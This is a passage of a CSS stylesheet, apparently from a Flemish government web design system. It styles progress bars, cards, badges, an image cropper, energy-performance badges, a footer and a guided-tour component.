      .vl-progress-bar--numeric .vl-progress-bar__step--active .vl-progress-bar__bullet {
        height: 4.2rem;
        width: 4.2rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric .vl-progress-bar__step--active .vl-progress-bar__bullet {
          height: 3.5rem;
          width: 3.5rem
        }
      }

      .vl-progress-bar--numeric .vl-progress-bar__step--active .vl-progress-bar__bullet:after {
        font-size: 2.2rem
      }

      @media screen and (max-width:767px) {
        .vl-progress-bar--numeric .vl-progress-bar__step--active .vl-progress-bar__bullet:after {
          font-size: 1.8rem
        }
      }

      .vl-progress-bar--numeric .vl-progress-bar__step--active~.vl-progress-bar__step .vl-progress-bar__bullet,
      .vl-progress-bar--numeric .vl-progress-bar__step--active~.vl-progress-bar__step:before {
        background-color: #cfd5dd;
        border-color: #cfd5dd
      }

      @media print {
        .vl-u-show-on-print .vl-accordion__content {
          display: block !important;
          max-height: none !important;
          visibility: visible !important
        }
      }

      body {
        overflow-x: hidden
      }

      .bl-wrapper {
        display: flex;
        flex-direction: column;
        height: 100%;
        justify-content: space-between;
        min-height: 100vh
      }

      .bl-content,
      .bl-footer {
        flex: 0 0 auto
      }

      .bl-content:focus,
      .bl-content>main:focus {
        outline: none
      }

      .bl-animation__pause-btn {
        bottom: 10px;
        position: absolute;
        right: 10px;
        z-index: 1
      }

      .vl-badge svg.vl-badge__icon {
        display: block;
        height: 50%;
        width: 50%
      }

      .vl-badge__icon[symbol=icon-document-certificate] {
        height: 60%;
        width: 60%
      }

      .vl-badge.vl-infoblock__header__badge {
        position: absolute
      }

      .vl-badge__icon[symbol=icon-passport] {
        margin-left: -2rem
      }

      .vl-vi.vl-vi-u-badge--action {
        background-color: #05c !important;
        background-color: var(--vlw-theme-action-color, #05c) !important
      }

      .vl-vi.vl-vi-u-badge--action,
      .vl-vi.vl-vi-u-badge--action span {
        color: #fff !important;
        color: var(--vlw-theme-action-fg-color, #fff) !important
      }

      .vl-badge--large .vl-badge__notification .vl-badge.font-large.vl-badge--icon .vl-badge__icon,
      .vl-badge.font-large.vl-badge--xsmall.vl-badge--icon .vl-badge__icon {
        font-size: 2.2rem
      }

      .bl-card {
        border: 1px solid #cbd2da;
        border-radius: .1rem
      }

      .bl-card--center {
        text-align: center
      }

      .bl-card--borderless {
        border: none
      }

      .bl-card__wrap {
        display: block
      }

      .bl-card button.bl-card__wrap,
      .bl-card label.bl-card__wrap {
        border: none;
        color: #05c
      }

      .bl-card__header {
        position: relative
      }

      .bl-card--small .bl-card__header {
        background: #e8ebee;
        min-height: 10rem;
        padding: 1.3rem
      }

      .bl-card__header--alt {
        background: #e8ebee
      }

      .bl-card__header__inner {
        align-items: center;
        display: flex;
        padding: 1.3rem
      }

      .bl-card--large .bl-card__header__inner {
        padding: 1.5rem
      }

      .bl-card--huge .bl-card__header__inner {
        padding: 2rem
      }

      .bl-card__header__cta {
        background: #e8ebee;
        border: none;
        color: #05c;
        cursor: pointer;
        display: flex;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        padding: 1.3rem;
        text-align: left;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 100%
      }

      .bl-card--small .bl-card__header__cta {
        padding: 0
      }

      .bl-card--small .bl-card__header__cta:focus,
      .bl-card--small .bl-card__header__cta:hover {
        background: #e8ebee
      }

      .bl-card--large .bl-card__header__cta {
        padding: 1.5rem
      }

      .bl-card--huge .bl-card__header__cta {
        padding: 2rem
      }

      .bl-card--alt .bl-card__header__cta {
        background: #fff
      }

      .bl-card__header__cta:hover {
        background: #f1f2f4
      }

      .bl-card__header__cta:focus {
        outline: thin dotted
      }

      .bl-card__header__cta__icon {
        background: #05c;
        color: #fff;
        display: inline-block;
        flex: 0 0 2.6rem;
        margin: 0 .8rem 0 0;
        vertical-align: top
      }

      @media screen and (max-width:767px) {
        .bl-card__header__cta__icon {
          flex: 0 0 2.2rem
        }
      }

      .js-accordion--open .bl-card__header__cta__icon:before,
      .js-drawer-active-item .bl-card__header__cta__icon:before {
        transform: rotate(-90deg)
      }

      .bl-card__header__cta:focus .bl-card__header__cta__icon,
      .bl-card__header__cta:hover .bl-card__header__cta__icon {
        background: #004ab3
      }

      .bl-card__header__content {
        width: 100%
      }

      .bl-card__header__content--flex {
        display: flex;
        justify-content: space-between;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-card__header__content--flex {
          flex-direction: column;
          justify-content: flex-start
        }
      }

      .bl-card__header__content--has-button {
        max-width: 70%
      }

      @media screen and (max-width:1023px) {
        .bl-card__header__content--has-button {
          max-width: none
        }
      }

      .bl-card__header__content__extra {
        color: #666;
        display: flex;
        flex-direction: column;
        font-size: 1.6rem;
        justify-content: space-around;
        text-align: right
      }

      @media screen and (max-width:767px) {
        .bl-card__header__content__extra {
          display: block;
          margin-top: .5rem;
          text-align: left
        }
      }

      .bl-card__header__content__extra__item {
        list-style-type: none
      }

      @media screen and (max-width:767px) {
        .bl-card__header__content__extra__item {
          font-size: 1.3rem
        }
      }

      .bl-card__header--has-popover .bl-card__header__content {
        padding-right: 4rem
      }

      .bl-card__header__title {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-accent-font, "Flanders Art Sans", sans-serif);
        font-size: 2.4rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1.3
      }

      @media screen and (max-width:767px) {
        .bl-card__header__title {
          font-size: 1.8rem;
          line-height: 1.2
        }
      }

      @media screen and (max-width:500px) {
        .bl-card__header__title {
          font-size: 1.6rem
        }
      }

      .bl-card__header__cta:focus .bl-card__header__title,
      .bl-card__header__cta:hover .bl-card__header__title {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .bl-card--large .bl-card__header__title {
        font-size: 2.4rem;
        line-height: 1.1;
        margin: 0 0 .7rem
      }

      @media screen and (max-width:767px) {
        .bl-card--large .bl-card__header__title {
          font-size: 1.8rem;
          line-height: 1.2
        }
      }

      .bl-card__header__popover {
        position: absolute;
        right: 0;
        top: 0
      }

      .bl-card__header__popover__toggle {
        display: inline-block;
        line-height: 1;
        padding: 1rem
      }

      .bl-card__header__meta {
        color: #666;
        font-size: 1.6rem
      }

      .bl-card--alt .bl-card__header__meta {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif)
      }

      @media screen and (max-width:767px) {
        .bl-card__header__meta {
          font-size: 1.4rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-card__header__meta {
          font-size: 1.3rem
        }
      }

      .bl-card__header__button {
        position: absolute;
        right: 0;
        top: 0
      }

      @media screen and (max-width:1023px) {
        .bl-card__header__button {
          margin-top: 1rem;
          position: static
        }
      }

      .bl-card__header__image {
        background: #fff;
        border: 1px solid #cbd2da;
        border-radius: 5rem;
        height: 4.8rem;
        position: absolute;
        right: 1.3rem;
        top: 1.3rem;
        width: 4.8rem
      }

      .bl-card__header__image span {
        color: #333332;
        display: block;
        font-size: 2.4rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        left: 0;
        letter-spacing: .1rem;
        line-height: 4.6rem;
        margin: auto;
        text-align: center;
        text-transform: uppercase;
        top: 0;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-card__header__image span {
          font-size: 1.7rem;
          line-height: 3.6rem
        }

        .bl-card__header__image {
          height: 3.8rem;
          width: 3.8rem
        }
      }

      .bl-card__link {
        font-size: 2rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        text-align: left
      }

      .bl-card__upload:focus+label {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .bl-card__upload:focus+label {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .bl-card__content {
        padding: 1.3rem
      }

      .bl-card--large .bl-card__content {
        padding: 1.5rem
      }

      .bl-card--flex .bl-card__content {
        align-items: center;
        display: flex
      }

      .bl-card--huge .bl-card__content {
        padding: 2rem
      }

      .bl-card__content.js-accordion__content {
        display: none
      }

      .js-accordion--open .bl-card__content {
        display: block !important
      }

      .bl-card--alt .bl-card__content {
        background: #e8ebee
      }

      .bl-card__content__links {
        border-top: 1px solid #cbd2da;
        padding-top: 1.2rem
      }

      .bl-card__content__accordion:not(:last-child) {
        margin-bottom: 1rem
      }

      .bl-card__content__accordion:last-child .bl-card__content__accordion__content {
        margin-bottom: -1.3rem
      }

      .bl-card__content__accordion__content {
        background: #e8ebee;
        left: -1.3rem;
        margin-top: 1rem;
        padding: 1.3rem 1.3rem 1.3rem 3.2rem;
        position: relative;
        width: calc(100% + 2.6rem)
      }

      .bl-card__badges {
        margin-right: 1.5rem;
        white-space: nowrap
      }

      @media screen and (max-width:500px) {
        .bl-card__badges {
          margin-right: 1rem
        }
      }

      .bl-card--center .bl-card__badges {
        margin-left: auto;
        margin-right: auto
      }

      .bl-card--flex .bl-card__badges {
        margin: 0 20px 0 0
      }

      .bl-card__steps {
        margin: 0 0 1rem
      }

      .bl-card__steps__counter {
        display: inline-block;
        margin: .5rem 1.3rem 0 .8rem;
        position: relative;
        vertical-align: top
      }

      .bl-card__steps__counter__step {
        background: #cbd2da;
        border-radius: 2rem;
        display: block;
        height: 1rem;
        margin: 0 0 .9rem;
        position: relative;
        width: 1rem;
        z-index: 2
      }

      .bl-card__steps__counter__step:not(:first-of-type):before {
        background: #cbd2da;
        bottom: 100%;
        content: "";
        height: .9rem;
        left: .4rem;
        position: absolute;
        width: .2rem;
        z-index: 1
      }

      .bl-card__steps__counter__step.active,
      .bl-card__steps__counter__step.active:before {
        background: #db3434
      }

      .bl-card__steps__description {
        display: inline-block;
        max-width: calc(100% - 6rem);
        vertical-align: top
      }

      .bl-card__step__title {
        line-height: 1;
        margin: .4rem 0 1rem
      }

      .bl-card__step__title__count {
        color: #db3434;
        display: block;
        font-size: 1.4rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        letter-spacing: .05rem;
        line-height: 1;
        margin: 0 0 .5rem;
        text-transform: uppercase
      }

      .bl-card__step__title__label {
        display: block;
        font-size: 1.8rem
      }

      .bl-card__step__cta {
        font-size: 1.6rem;
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .bl-card__step__cta:focus,
      .bl-card__step__cta:hover {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .bl-card__badge-actions {
        padding: 1.3rem 0;
        text-align: left
      }

      .bl-card__badge-action {
        display: inline-block;
        vertical-align: top;
        width: 23%
      }

      .bl-card__badge-action__cta {
        display: block;
        text-align: center
      }

      .bl-card__badge-action__cta:focus .bl-card__badge-action__cta__icon,
      .bl-card__badge-action__cta:hover .bl-card__badge-action__cta__icon {
        background: #05c
      }

      .bl-card__badge-action__cta:focus .bl-card__badge-action__cta__icon .vi,
      .bl-card__badge-action__cta:hover .bl-card__badge-action__cta__icon .vi {
        color: #fff
      }

      .bl-card__badge-action__cta__icon {
        background: #e8ebee;
        border-radius: 5rem;
        display: block;
        height: 5rem;
        margin: auto;
        position: relative;
        width: 5rem
      }

      .bl-card__badge-action--more .bl-card__badge-action__cta__icon {
        background: #cbd2da
      }

      .bl-card__badge-action__cta__icon .vi {
        color: #666;
        display: block;
        font-size: 2rem;
        left: 0;
        line-height: 5rem;
        position: absolute;
        right: 0;
        text-align: center;
        top: 0
      }

      .bl-card__badge-action__cta__label {
        display: block;
        font-size: 1.5rem;
        font-weight: 400;
        margin: 1rem 0 0;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .bl-card__footer {
        border-top: 1px solid #cbd2da;
        margin-top: 1.2rem;
        padding-top: 1.5rem
      }

      .bl-card__footer:first-child {
        margin-top: 0
      }

      .bl-card__footer__meta {
        color: #666;
        font-size: 1.6rem
      }

      .bl-card .js-show-checked .form__row {
        padding: 1.25rem 0
      }

      .bl-card__content__accordion.js-accordion--open+.bl-card__footer {
        margin-top: -1.1rem
      }

      .bl-card--placeholder .bl-card,
      .js-preloading .bl-card .bl-card {
        border-color: #cbd2da
      }

      .bl-card--placeholder .bl-card *,
      .js-preloading .bl-card .bl-card * {
        font-size: 0
      }

      .bl-card--placeholder .bl-card__header__content,
      .js-preloading .bl-card .bl-card__header__content {
        display: inline-block;
        margin: 1.4rem 0 0
      }

      .bl-card--placeholder .bl-card__header__title,
      .js-preloading .bl-card .bl-card__header__title {
        max-width: 25rem
      }

      .bl-card--placeholder .bl-card__header__meta,
      .js-preloading .bl-card .bl-card__header__meta {
        max-width: 18rem
      }

      .bl-card--placeholder .bl-card__header__cta:hover,
      .js-preloading .bl-card .bl-card__header__cta:hover {
        background: inherit
      }

      .bl-card--placeholder .bl-card__header__cta__icon,
      .js-preloading .bl-card .bl-card__header__cta__icon {
        background: #cbd2da !important
      }

      .bl-card--placeholder .bl-card__header__badge,
      .js-preloading .bl-card .bl-card__header__badge {
        background: #e8ebee !important
      }

      .bl-card__header--alt .bl-card--placeholder .bl-card__header__badge,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__header__badge,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__header__badge {
        background: #fff !important
      }

      .bl-card--placeholder .bl-card__text,
      .bl-card--placeholder .bl-card__title,
      .js-preloading .bl-card .bl-card__text,
      .js-preloading .bl-card .bl-card__title {
        height: .8rem
      }

      .bl-card--placeholder .bl-card__title,
      .js-preloading .bl-card .bl-card__title {
        width: 70%
      }

      .bl-card--placeholder .bl-card__text,
      .js-preloading .bl-card .bl-card__text {
        width: 50%
      }

      .bl-card--placeholder .bl-card__content,
      .js-preloading .bl-card .bl-card__content {
        height: 11rem
      }

      .bl-card--placeholder .bl-card__content__loading-bar:first-child,
      .js-preloading .bl-card .bl-card__content__loading-bar:first-child {
        max-width: 19rem
      }

      .bl-card--placeholder .bl-card__content__loading-bar:nth-child(2),
      .js-preloading .bl-card .bl-card__content__loading-bar:nth-child(2) {
        max-width: 9rem
      }

      .js-preloading .bl-card-transition-enter-active {
        border-color: transparent
      }

      .js-preloading .bl-card-transition-enter-active .bl-card__badges .bl-badge {
        opacity: 0;
        transform: scale(.65)
      }

      .js-preloading .bl-card-transition-enter-active .bl-card__header__title {
        max-width: 10rem;
        opacity: 0
      }

      .js-preloading .bl-card-transition-enter-active .bl-card__header__meta {
        max-width: 8rem;
        opacity: 0
      }

      .js-preloading .bl-card-transition-enter-active .bl-card__content__loading-bar {
        max-width: 3rem;
        opacity: 0
      }

      .js-preloading .bl-card-transition-enter-active .bl-card__content__loading-bar:nth-child(2) {
        max-width: 2rem
      }

      .js-preloading .bl-card-transition-enter-to {
        border-color: #cbd2da;
        transition: .45s linear
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__badges .bl-badge {
        opacity: 1;
        transform: scale(1);
        transition: opacity .4s linear .1s, transform .75s cubic-bezier(.77, 0, .175, 1)
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__header__meta,
      .js-preloading .bl-card-transition-enter-to .bl-card__header__title {
        transition: opacity 1.2s linear .35s, max-width 1.25s ease-out .15s
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__header__title {
        max-width: 25rem;
        opacity: 1
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__header__meta {
        max-width: 18rem;
        opacity: 1
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__content__loading-bar {
        opacity: 1;
        transition: opacity 1.2s linear .35s, max-width 1.25s ease-out .15s
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__content__loading-bar:first-child {
        max-width: 19rem
      }

      .js-preloading .bl-card-transition-enter-to .bl-card__content__loading-bar:nth-child(2) {
        max-width: 9rem
      }

      a.bl-card__wrap {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      a.bl-card__wrap .document-miniature__title.link--icon--after {
        display: inline-block;
        max-width: 100%
      }

      a.bl-card__wrap:focus,
      a.bl-card__wrap:hover {
        background-color: #f1f2f4
      }

      a.bl-card__wrap:focus .link,
      a.bl-card__wrap:hover .link {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      a.bl-card__wrap+.bl-card__link {
        bottom: 1.3rem;
        position: absolute;
        right: 1.3rem
      }

      .cropper img {
        max-height: 250px
      }

      .cropper__board {
        display: block;
        max-width: 900px
      }

      .cropper__upload {
        background-color: #f1f2f4;
        border: 3px dashed #e8ebee;
        display: block;
        font-size: 1.4rem;
        padding: 7.5em;
        text-align: center;
        width: 100%
      }

      .cropper__rotation {
        margin: -5.5rem 5rem 0;
        position: absolute;
        right: 0
      }

      .cropper__preview {
        background-color: #f1f2f4;
        border: 1px solid #e8ebee;
        border-radius: 50%;
        overflow: hidden;
        position: relative;
        width: 100%
      }

      .cropper__preview:after {
        content: "";
        display: block;
        padding-bottom: 100%
      }

      .cropper__preview__image {
        bottom: 0;
        height: 100%;
        left: 0;
        -o-object-fit: cover;
        object-fit: cover;
        position: absolute;
        right: 0;
        top: 0;
        transform: none;
        width: 100%
      }

      .bl-description-data__value--light {
        font-size: 1.6rem;
        font-weight: 400
      }

      .bl-description-data__meta {
        font-size: 1.5rem
      }

      .bl-description-data__data {
        overflow: hidden;
        text-overflow: ellipsis
      }

      .bl-description-data__source {
        color: #8c8c8c;
        font-size: 1.25rem
      }

      .bl-description-data--inline {
        display: inline-block;
        vertical-align: top
      }

      .bl-description-data--inline:not(:last-of-type) {
        margin-right: 2rem
      }

      .bl-description-data--has-badge .bl-description-data__badge,
      .bl-description-data--has-badge .bl-description-data__content {
        display: inline-block;
        vertical-align: top
      }

      .bl-description-data--has-badge .bl-description-data__content {
        margin-bottom: 2rem;
        margin-left: 8rem;
        margin-top: 1rem
      }

      .bl-description-data--has-badge .bl-description-data__badge {
        color: #cbd2da;
        height: 7rem;
        margin-right: 1.5rem;
        position: absolute;
        width: 7rem
      }

      .bl-description-data--has-badge .bl-description-data__badge__icon {
        font-size: 4.5rem;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translateX(-50%) translateY(-50%)
      }

      .bl-description-data--has-badge .bl-description-data__badge--alt {
        background: #fff;
        border-radius: 7rem;
        color: #666
      }

      .bl-description-data--has-badge .bl-description-data__badge--alt .vl-description-data__badge__icon {
        font-size: 3rem
      }

      .bl-description-data__wrapper {
        padding: 1.5rem
      }

      @media screen and (max-width:767px) {
        .bl-description-data__wrapper {
          padding: 1.3rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-description-data__wrapper {
          padding: 1rem
        }
      }

      .bl-description-data__wrapper--bordered {
        border: 1px solid #e8ebee
      }

      .bl-description-data__wrapper--alt {
        background: #e8ebee
      }

      .bl-description-data__icon {
        margin-right: 1rem
      }

      .bl-description-data+.bl-description-data .bl-description-data__wrapper {
        padding-top: 0
      }

      .js-preloading .bl-description-data {
        min-height: 0
      }

      .js-preloading .bl-description-data * {
        font-size: 0 !important
      }

      .js-preloading .bl-description-data__badge {
        display: inline-block;
        position: relative;
        vertical-align: middle
      }

      .js-preloading .bl-description-data__content {
        display: inline-block;
        margin: 0;
        vertical-align: middle
      }

      .js-preloading .bl-description-data__data,
      .js-preloading .bl-description-data__label,
      .js-preloading .bl-description-data__meta,
      .js-preloading .bl-description-data__subdata,
      .js-preloading .bl-description-data__value {
        height: .8rem
      }

      .js-preloading .bl-description-data__subdata,
      .js-preloading .bl-description-data__value {
        width: 75%
      }

      .js-preloading .bl-description-data__badge {
        height: 7rem;
        width: 7rem
      }

      .js-preloading .bl-description-data__label {
        width: 70%
      }

      .js-preloading .bl-description-data__value {
        width: 50%
      }

      .vl-description-data__data,
      .vl-description-data__value {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .vl-description-data .vl-popover,
      .vl-description-data__data .vl-data-table td,
      .vl-description-data__value .vl-data-table td {
        font-weight: 400
      }

      .vl-description-data .vl-link__icon {
        color: inherit;
        left: auto;
        position: relative;
        top: auto
      }

      .bl-empty-state-card {
        background-color: #f7f9fc;
        display: flex;
        overflow: hidden;
        position: relative;
        width: 100%
      }

      .bl-empty-state-card__inner {
        align-items: center;
        display: flex;
        padding: 1.5rem;
        width: 95%
      }

      @media screen and (max-width:767px) {
        .bl-empty-state-card__inner {
          display: block;
          width: 100%
        }
      }

      .bl-empty-state-card__image {
        display: flex;
        flex: 0 0 20rem;
        margin-bottom: auto
      }

      @media screen and (max-width:767px) {
        .bl-empty-state-card__image {
          flex: 0 0 100%;
          justify-content: center;
          margin-bottom: 1.5rem
        }
      }

      .bl-empty-state-card__image__figure {
        height: 15rem;
        width: 15rem
      }

      .bl-empty-state-card__image__figure--placeholder {
        background: #f1f2f4;
        border: 1px solid #e8ebee;
        border-radius: 15rem;
        display: block;
        height: 15rem;
        width: 15rem
      }

      .bl-empty-state-card__content {
        padding: 1rem 0
      }

      .bl-empty-state-card__content__title {
        font-size: 2.2rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1.3;
        margin-bottom: 1rem
      }

      @media screen and (max-width:767px) {
        .bl-empty-state-card__content__title {
          font-size: 1.8rem
        }
      }

      .bl-emissary {
        display: block;
        margin: 0 auto;
        max-width: 85%
      }

      @media screen and (max-width:500px) {
        .bl-emissary {
          max-width: none
        }
      }

      .bl-emissary__content {
        padding: 4rem 0;
        *zoom: 1
      }

      .bl-emissary__content:after,
      .bl-emissary__content:before {
        content: "";
        display: table
      }

      .bl-emissary__content:after {
        clear: both
      }

      @media screen and (max-width:1023px) {
        .bl-emissary__content {
          text-align: center
        }

        .bl-emissary__content .vl-action-group {
          justify-content: center
        }
      }

      .bl-emissary__content__title {
        float: left;
        margin: 3rem 0 0;
        width: calc(90% - 40rem)
      }

      .bl-emissary--inverted .bl-emissary__content__title {
        float: right
      }

      @media screen and (max-width:1023px) {
        .bl-emissary__content__title {
          float: none !important;
          margin: 0 auto;
          width: 75%
        }
      }

      @media screen and (max-width:767px) {
        .bl-emissary__content__title {
          width: 70%
        }
      }

      @media screen and (max-width:500px) {
        .bl-emissary__content__title {
          width: 90%
        }
      }

      .bl-emissary__content__description {
        clear: left;
        width: calc(90% - 40rem)
      }

      .bl-emissary--inverted .bl-emissary__content__description {
        clear: right;
        float: right
      }

      .bl-emissary__content__description__errorcode {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      @media screen and (max-width:1023px) {
        .bl-emissary__content__description {
          width: 100%
        }
      }

      .bl-emissary__content__image {
        float: right;
        line-height: 0;
        position: relative;
        width: 40rem
      }

      .bl-emissary--inverted .bl-emissary__content__image {
        float: left
      }

      @media screen and (max-width:1023px) {
        .bl-emissary__content__image {
          float: none;
          margin: 1rem auto 2rem;
          width: 100%
        }
      }

      .bl-emissary__content__image__figure {
        margin: 0 0 0 auto;
        max-width: 40rem;
        width: 90%
      }

      @media screen and (max-width:1023px) {
        .bl-emissary__content__image__figure {
          margin: 0 auto;
          max-width: 25rem
        }
      }

      .bl-epc-badge {
        align-items: center;
        background: #fff;
        border-radius: 3em;
        color: #333332;
        display: flex;
        flex-direction: column;
        float: left;
        font-size: 5rem;
        height: 3em;
        justify-content: center;
        margin-right: .8em;
        position: relative;
        width: 3em
      }

      .bl-epc-badge--alt {
        background: #e8ebee
      }

      .bl-epc-badge__value {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: .8
      }

      .bl-epc-badge--small-text {
        border-radius: 3.6em;
        font-size: 4rem;
        height: 3.6em;
        width: 3.6em
      }

      .bl-epc-badge__label {
        font-size: 1.8rem
      }

      @media screen and (max-width:767px) {
        .bl-epc-badge {
          font-size: 4.16rem
        }
      }

      @media screen and (max-width:500px) {
        .bl-epc-badge {
          font-size: 3.33rem
        }
      }

      .bl-epc-meter svg {
        height: auto;
        max-width: 579px;
        width: 100%
      }

      .bl-epc-meter text {
        font-size: 1.4rem
      }

      @media screen and (max-width:500px) {
        .bl-epc-meter text {
          font-size: 1.8rem
        }

        .bl-epc-meter__step--secondary {
          visibility: hidden
        }
      }

      .bl-epc-meter__indicator__icon {
        opacity: 0;
        transform: scale(.7) translateY(-.3rem);
        transform-origin: 50% 0
      }

      .bl-epc-meter__indicator--visible .bl-epc-meter__indicator__icon {
        opacity: 1;
        transform: scale(1) translateY(.3rem);
        transition: transform .3s ease .5s, opacity .3s linear .5s
      }

      .bl-epc-meter__indicator__text {
        opacity: 0;
        transform: translateY(-.3rem)
      }

      .bl-epc-meter__indicator--visible .bl-epc-meter__indicator__text {
        opacity: 1;
        transform: translateY(0);
        transition: transform .5s ease .6s, opacity .2s linear .65s
      }

      .bl-faq__heading {
        display: inline-block;
        position: relative;
        text-transform: uppercase
      }

      .bl-faq__heading:before {
        background: #d3d9e0;
        content: "";
        display: inline-block;
        height: .3rem;
        margin-bottom: 1rem;
        width: 100%
      }

      .bl-faq__list__item:not(:last-of-type) {
        margin-bottom: 1.25rem
      }

      .bl-faq__list__item__icon {
        transform: translateY(.3rem)
      }

      .bl-map__search__label {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        margin-bottom: .7rem
      }

      .vl-radio__label {
        font-weight: 400
      }

      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:before {
        background: #fff;
        content: "";
        height: 2px;
        transform: translateZ(0) translate(-50%, -50%) scale(1);
        width: 12px
      }

      .vl-checkbox__toggle:indeterminate+.vl-checkbox__label .vl-checkbox__box:after {
        background: #cbd2da;
        border: .1rem solid #cbd2da;
        color: #cbd2da
      }

      .choices__list--multiple .choices__item,
      .vl-checkbox--switch+.vl-checkbox--switch__label span:after,
      .vl-checkbox--switch+.vl-checkbox--switch__label span:before,
      .vl-input-addon {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .bl-footer {
        border-top: 1px solid #cbd2da;
        margin-top: auto;
        padding: 1.3rem 1.5rem
      }

      .bl-footer__content {
        font-size: 1.4rem
      }

      .bl-footer__content__separator {
        color: #cbd2da;
        margin: 0 1rem
      }

      @media screen and (max-width:767px) {
        .bl-footer__content__separator {
          display: block;
          font-size: 0
        }
      }

      .bl-footer__content__link {
        color: #333332;
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .bl-footer__content__link:focus,
      .bl-footer__content__link:hover {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .guided-tour {
        display: flex;
        flex-direction: row;
        padding: .6rem;
        position: relative
      }

      @media screen and (max-width:500px) {
        .guided-tour {
          flex-direction: column
        }
      }

      .guided-tour__visual {
        align-items: center;
        background: #e8e9ee;
        display: flex;
        flex: 0 0 40%;
        flex-direction: column;
        justify-content: center;
        min-height: 350px;
        position: relative
      }

      @media screen and (max-width:500px) {
        .guided-tour__visual {
          flex: 0 0 100%;
          min-height: 150px
        }
      }

      .guided-tour__animation {
        align-items: center;
        display: flex;
        flex-direction: column;
        height: 100%;
        justify-content: center
      }

      .guided-tour__animation svg {
        min-height: 350px
      }

      @media screen and (max-width:500px) {
        .guided-tour__animation {
          max-width: 15rem
        }

        .guided-tour__animation svg {
          min-height: 150px
        }
      }

      .guided-tour__content {
        display: flex;
        flex-direction: column;
        padding: .75rem .75rem .75rem 4rem;
        width: 100%
      }

      @media screen and (max-width:500px) {
        .guided-tour__content {
          flex: 0 0 100%;
          padding: .75rem
        }
      }

      .guided-tour__content__text {
        display: flex;
        flex: 1 1 auto;
        flex-direction: column;
        justify-content: center;
        max-width: 30rem;
        padding: 1rem 0;
        position: relative
      }

      @media screen and (max-width:767px) {
        .guided-tour__content__text {
          max-width: none
        }
      }

      @media screen and (max-width:500px) {
        .guided-tour__content__text {
          padding-bottom: 2rem
        }
      }

      @media screen and (min-width:500.1px)and (max-width:767px) {
        .guided-tour__dots {
          margin-bottom: 1rem
        }
      }

      .guided-tour__dot {
        background-color: none;
        border: 0;
        display: inline-block;
        font: inherit;
        height: 15px;
        line-height: normal;
        margin: 0;
        overflow: hidden;
        padding: 0;
        position: relative;
        width: 15px
      }

      .guided-tour__dot:after {
        background-color: #d3d9e0;
        border-radius: 50%;
        content: "";
        display: inline-block;
        height: 6px;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0);
        transition: .1s ease;
        width: 6px
      }

      .guided-tour__dot--active:after {
        background-color: #3b3b3c;
        height: 8px;
        width: 8px
      }

      .guided-tour__actions {
        align-items: center;
        display: flex;
        flex-direction: row;
        justify-content: space-between;
        margin-top: 1.5rem
      }

      @media screen and (min-width:500.1px)and (max-width:767px) {
        .guided-tour__actions {
          align-items: flex-start;
          flex-direction: column
        }
      }

      .vl-modal .guided-tour__action-group {
        margin-top: 0
      }

      .guided-tour-image-transition-leave-to {
        position: relative;
        z-index: 1002
      }

      .guided-tour-image-transition-enter-active {
        opacity: 0;
        visibility: hidden
      }

      .guided-tour-image-transition-enter,
      .guided-tour-image-transition-enter-to {
        left: 0;
        position: absolute;
        top: 0;
        width: 100%;
        z-index: 1003
      }

      .guided-tour-image-transition-enter-to {
        opacity: 1;
        transition: opacity 1.25s;
        visibility: visible
      }

      .guided-tour-text-transition-leave-to {
        opacity: 0;
        transition: opacity .2s
      }

      .guided-tour-text-transition-leave,
      .guided-tour-text-transition-leave-to {
        display: flex;
        flex-direction: column;
        height: 100%;
        justify-content: center;
        left: 0;
        position: absolute;
        top: 0;
        width: 100%
      }

      .guided-tour-text-transition-enter-active {
        opacity: 0;
        transform: translate3d(3%, 0, 0);
        visibility: hidden
      }

      .guided-tour-text-transition-enter-to {
        opacity: 1;
        transform: translateZ(0);
        transition: opacity 1s, transform .6s;
        visibility: visible
      }

      .bl-header {
        display: block;
        position: relative;
